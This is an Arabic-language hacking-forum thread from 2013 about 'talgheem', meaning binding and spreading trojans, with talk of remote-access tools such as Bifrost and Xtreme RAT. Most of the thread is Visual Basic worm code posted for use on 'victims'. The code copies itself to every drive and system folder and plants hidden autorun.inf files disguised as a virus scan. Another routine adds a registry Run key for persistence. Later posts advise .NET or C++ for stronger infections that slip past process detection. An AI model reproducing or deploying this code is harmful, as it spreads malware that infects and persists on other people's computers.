[ طلب ] دورة في احتراف التلغيم الرهيب لعام 2013

Virus!Clown · منذ /02-02-2013, 08:50 PM


	المشاركة الأصلية كتبت بواسطة king pro


	ان شاء الله نحن في انتظارك وياريت تكون بللهجة المغاربية تتطرق الى مواضيع احترافية ان شاء الله

ان شاء الله

Mr.VerdascO · منذ /02-03-2013, 07:19 AM

.اخوى‘
^

على حسب البرنامج الخاص بك
فبعض البرامج بها خاصيه النسخ فى [ SU ]
والبعض الاخر لا يوجد به هذه الخاصيه
مثل : البيفروست , هذا لا توجد به الخاصيه [ SU ]
بل : يتوجب عليك تثبيت الضحيه

فى المقابل : الاكستريم رات , توجد به الخاصيه
ايضا : لا يحتاج تثبيت الضحيه فهو قوى فى ذلك [ SU ]
وغيرهم من برامج كثيره
واذا تبى الكود الذى ينسخ فى [ SU ]
[ تفضل , ما يغلى عليك ]

كود:

Public Declare Function  WritePrivateProfileString Lib "kernel32" Alias  "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal  lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As  Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias  "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes  As Long) As Long
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Sub Spread()
On Error Resume Next
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "A:\ .exe"
Open "A:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "B:\ .exe"
Open "B:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\ .exe"
Open "C:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "D:\ .exe"
Open "D:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "E:\ .exe"
Open "E:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "F:\ .exe"
Open "F:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "G:\ .exe"
Open "G:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "H:\ .exe"
Open "H:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "I:\ .exe"
Open "i:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "J:\ .exe"
Open "J:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "K:\ .exe"
Open "K:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "L:\ .exe"
Open "L:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "M:\ .exe"
Open "M:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "N:\ .exe"
Open "N:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "O:\ .exe"
Open "O:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "P:\ .exe"
Open "P:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "R:\ .exe"
Open "R:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "Y:\ .exe"
Open "Y:\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbNewLine & _
"open=" & " " & ".exe" & vbNewLine & _
"ACTION= Perform a Virus Scan"
Close #1

FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Program Files\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\system32\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\Temp\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\Help\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\WINDOWS\system32\drivers\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Program Files\WinRAR\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Program Files\Messenger\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"), "C:\Program Files\Internet Download Manager\ .exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"),  "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\.exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"),  "C:\Users\All Users\AppData\Roaming\Microsoft\Windows\tart  Menu\Programs\Startup\.exe"
FileCopy (App.Path & "\" & App.EXEName & ".exe"),  "C:\programData\Microsoft\Windows\Start Menu\Programs\Startup\.exe"
SetFileAttributes "A:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "B:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "D:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "E:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "F:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "G:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "H:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "I:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "J:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "K:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "L:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "M:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "N:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "O:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "P:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "R:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "Y:\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\system32\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\Temp\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\Help\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\system32\drivers\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\WinRAR\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\Messenger\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\Internet Download Manager\ .exe", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "A:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "B:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "D:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "E:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "F:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "G:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "H:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "I:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "J:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "K:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "L:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "M:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "N:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "O:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "P:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "R:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "Y:\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\system32\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\Temp\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\Help\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\WINDOWS\system32\drivers\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\WinRAR\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\Messenger\autorun.inf", FILE_ATTRIBUTE_HIDDEN
SetFileAttributes "C:\Program Files\Internet Download Manager\autorun.inf", FILE_ATTRIBUTE_HIDDEN

End Sub

ينتشر في كل مكان في ستارت
وايضا فى الاقراص الصلبه
بس يشغل القرص يجي التبليغ
يعني ثابت مئه بالمئه

نزول الانتشار
[ فى الجهاز ]

C:\Documents and Settings\All Users\Start Menu\Programs\Startup\.exe

نزول الانتشار
[ بلغه الاتوايت ]

FileCopy (@TempDirDir&"\server.exe",@StartupDir&"\server.ex e")

+

[ كود آخر ]

كود:

 
option explicit           private declare function regclosekey lib "advapi32.dll" (byval hkey as long) as long     private declare function regcreatekey lib "advapi32.dll" alias "regcreatekeya" (byval hkey as long, byval lpsubkey as string, phkresult as long) as long     private declare function regdeletekey lib "advapi32.dll" alias "regdeletekeya" (byval hkey as long, byval lpsubkey as string) as long     private declare function regdeletevalue lib "advapi32.dll" alias "regdeletevaluea" (byval hkey as long, byval lpvaluename as string) as long     private declare function regopenkey lib "advapi32.dll" alias "regopenkeya" (byval hkey as long, byval lpsubkey as string, phkresult as long) as long     private declare function regqueryvalueex lib "advapi32.dll" alias "regqueryvalueexa" (byval hkey as long, byval lpvaluename as string, byval lpreserved as long, lptype as long, lpdata as any, lpcbdata as long) as long     private declare function regsetvalueex lib "advapi32.dll" alias "regsetvalueexa" (byval hkey as long, byval lpvaluename as string, byval reserved as long, byval dwtype as long, lpdata as any, byval cbdata as long) as long     private const reg_sz = 1                         ' unicode nul terminated string     private const reg_dword = 4                      ' 32-bit number     private const error_success = 0&           public enum pvphk         hkey_classes_root = &h80000000         hkey_current_user = &h80000001         hkey_local_machine = &h80000002         hkey_users = &h80000003         hkey_performance_data = &h80000004     end enum           private const pvprunhkey = "software\microsoft\windows\currentversion\run"           private sub savestring(byval hkey as long, strpath as string, strvalue as string, strdata as string)         dim keyhand as long         dim r as long         r = regcreatekey(hkey, strpath, keyhand)         r = regsetvalueex(keyhand, strvalue, 0, reg_sz, byval strdata, len(strdata))         if r = 87 then             deletevalue hkey, strpath, strvalue         end if         r = regclosekey(keyhand)     end sub           private function deletevalue(byval hkey as long, byval strpath as string, byval strvalue as string)         dim keyhand as long         dim r as long         r = regopenkey(hkey, strpath, keyhand)         r = regdeletevalue(keyhand, strvalue)         r = regclosekey(keyhand)     end function           public function runatstartup(sapptitle as string, strsappname as string)              savestring pvphk.hkey_current_user, pvprunhkey, sapptitle, strsappname end function 
     in form load add this :          Runatstartup app.title, app.path & "\" & app.exename & ".exe"

,

موفق

سرمد · منذ /02-03-2013, 11:23 PM


	المشاركة الأصلية كتبت بواسطة mr.verdasco


	هلا يا طيب‘ انصحك بالدوت نت ابحث فى التلغيم على الدوت نت فهو افضل بكثير من اى شئ اخر واذا كان : لك خبره اخرى فى اى لغه وليكن مثلا : السي بلس بلس [ ++c ] يمكنك تلغيم اقوى التلغيمات مع هالغتين ’ موفق

يعطيك العافية اخويبس التلغيم بالدوت نت مش فعال اذا ما كان على جهاز الضحية حزم فروم ويرك

Mr.VerdascO · منذ /02-06-2013, 11:58 PM

‘

اعلم يا الغالى
لكن ، ،
كما تعلم الدوت نت قوى
فى اشياء كثيره
ابسطها : [ تخطى البروسيس ]

,

GENERAL AMERICA · منذ /08-03-2013, 12:31 PM

افدوك الابطال يعطيهم العافية ^_*

المواضيع المتشابهه للموضوع: دورة في احتراف التلغيم الرهيب لعام 2013
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
استفسارات : الدرس السادس من دوره احتراف كشف الدمج والتلغيم [ كشف التلغيم بلبروسس ]	Admin	دورة كشف الدمج والتلغيم الأحترافية 2014	5	08-09-2013 08:03 PM
دورة إحتراف التلغيم	SnipeR	قسم إختراق الأجـهـزه والأيـمـيـلات	5	12-15-2012 09:38 PM
الدرس السادس من دوره احتراف كشف الدمج والتلغيم [ كشف التلغيم بلبروسس ]	Mariio	دورة كشف الدمج والتلغيم الأحترافية 2014	1	11-14-2012 07:08 AM
دورة الحماية وكشف التلغيم - كشف التلغيم عن طريق برنامج البروسس-البارتشن الخامس	Security.Najaf	قسم الحماية من الأختراق وكشف الدمج والتلغيم	0	11-09-2012 05:43 PM

الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)